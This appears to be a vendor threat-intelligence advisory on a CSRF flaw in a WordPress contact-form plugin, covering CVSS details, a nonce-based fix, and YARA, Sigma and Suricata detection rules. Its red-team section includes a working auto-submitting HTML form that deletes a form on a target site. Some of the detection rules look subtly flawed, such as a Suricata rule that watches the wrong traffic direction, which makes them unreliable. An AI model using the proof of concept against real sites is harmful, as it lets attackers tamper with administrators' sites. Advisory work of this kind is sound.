CVE-2025-49069

Executive Summary

CVE-2025-49069 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Contact Forms by Cimatti WordPress plugin, versions through 1.9.8. This vulnerability allows an attacker to trick an authenticated administrator into unknowingly performing actions on the plugin's settings or forms, such as modifying configurations, deleting forms, or injecting malicious data. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 4.3 (Medium). As of this report, no official patch is available, and no public exploit code has been released. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is available, users are advised to consider disabling or removing the plugin until a fix is released. The risk is amplified if the plugin is used on a multisite network or managed by a third-party service.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – the attack is carried out over the network.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – the attacker does not need to be authenticated.
• User Interaction (UI): Required – the victim must click a link or visit a malicious page.
• Scope (S): Unchanged – the vulnerable component and the attacker's scope are the same.
• Confidentiality (C): None – no data is exposed.
• Integrity (I): Low – the attacker can modify plugin settings or form data.
• Availability (A): None – no denial of service.

Threat Level: Medium. The attack requires social engineering, but if successful, an attacker can alter the plugin's behavior, potentially leading to data exfiltration or further compromise.

Deep Dive & Mechanics

The vulnerability exists because the plugin's administrative actions (e.g., saving settings, creating/deleting forms) do not implement CSRF tokens or nonces. A CSRF attack works as follows:

1. The attacker crafts a malicious HTML page or email containing a request to the vulnerable WordPress admin endpoint (e.g., wp-admin/admin-post.php?action=cimatti_save_settings&new_setting=malicious).
2. The victim, who is already authenticated as an administrator, visits the attacker's page.
3. The victim's browser automatically sends the forged request, including the victim's session cookies.
4. The plugin processes the request without verifying its origin, thus performing the attacker's desired action.

The specific endpoints affected are those used for form management and plugin configuration. Since the plugin does not validate the request's origin, any authenticated user can be tricked into performing unintended actions.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state of the plugin (version 1.9.8 and earlier). A patched version would need to implement WordPress nonces for all admin actions.

Vulnerable Code (Example from a hypothetical admin action):

// In a vulnerable version, no nonce check
function cimatti_save_settings() {
    update_option('cimatti_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=cimatti-settings'));
}

Patched Code (Expected fix):

function cimatti_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'cimatti_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('cimatti_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=cimatti-settings'));
}

The patched version would also include a nonce field in the form:

<form method="post">
    <?php wp_nonce_field('cimatti_save_settings'); ?>
    <!-- form fields -->
</form>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Contact Forms by Cimatti <= 1.9.8 installed and an authenticated admin session.
• A way to deliver the malicious link to the admin (e.g., email, social engineering).

Exploitation Steps:

1. Identify the vulnerable admin endpoints. For example, the plugin might have an action cimatti_delete_form that accepts a form ID via POST.
2. Craft a malicious HTML page that automatically submits a form to that endpoint.

<html>
<body>
<form id="csrf" action="http://target-site/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="cimatti_delete_form">
    <input type="hidden" name="form_id" value="1">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the page on an attacker-controlled server or use a URL shortener.
4. Send the link to the victim admin. When they visit, the form is submitted, and the form with ID 1 is deleted.

Advanced Scenario: The attacker could also modify plugin settings to redirect form submissions to an external server, exfiltrating user data.

Blue Team

Detection:

• Monitor for unusual POST requests to wp-admin/admin-post.php with action parameters starting with cimatti_.
• Look for requests that do not include a _wpnonce parameter.
• Alert on multiple failed nonce checks (if the plugin is patched later).

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests to wp-admin/admin-post.php that lack a valid nonce.
• Use the SameSite cookie attribute to prevent cross-site requests.
• Educate administrators about phishing and CSRF attacks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=cimatti_* and no _wpnonce parameter.
  • Referer headers from unexpected domains.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/contact-forms/ (e.g., admin.php, includes/admin-actions.php).
• Log IOCs:
  • WordPress debug log entries showing wp_die calls for nonce failures (if patched).
  • Unusual form submissions or settings changes in the plugin's audit log (if available).

Detection Engineering

YARA Rule

rule CVE_2025_49069_CSRF_ContactForms {
    meta:
        description = "Detects CSRF exploitation attempts against Contact Forms by Cimatti"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49069"
    strings:
        $action = "cimatti_" ascii wide nocase
        $admin_post = "admin-post.php" ascii wide nocase
        $nonce_missing = "wp_verify_nonce" ascii wide nocase
    condition:
        $admin_post and $action and not $nonce_missing
}

Sigma Rule

title: CVE-2025-49069 CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting Contact Forms by Cimatti admin actions without a nonce.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=cimatti_'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates (if nonce is missing due to a bug)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49069 CSRF Attempt - Contact Forms by Cimatti"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=cimatti_"; http_client_body; nocase; pcre:"/^action=cimatti_[a-z_]+$/P"; reference:cve,2025-49069; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to Plugins > Installed Plugins and deactivate "Contact Forms by Cimatti".
2. Implement a WAF rule to block requests to admin-post.php that contain action=cimatti_ without a valid nonce.
3. Educate administrators about CSRF risks and the importance of not clicking suspicious links while logged into WordPress.

Long-term Fix:

• The vendor (Cimatti) must release a patched version that implements WordPress nonces for all admin actions. Monitor the plugin's page for updates.
• Consider switching to an alternative contact form plugin that is actively maintained and has a good security track record.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valters.it.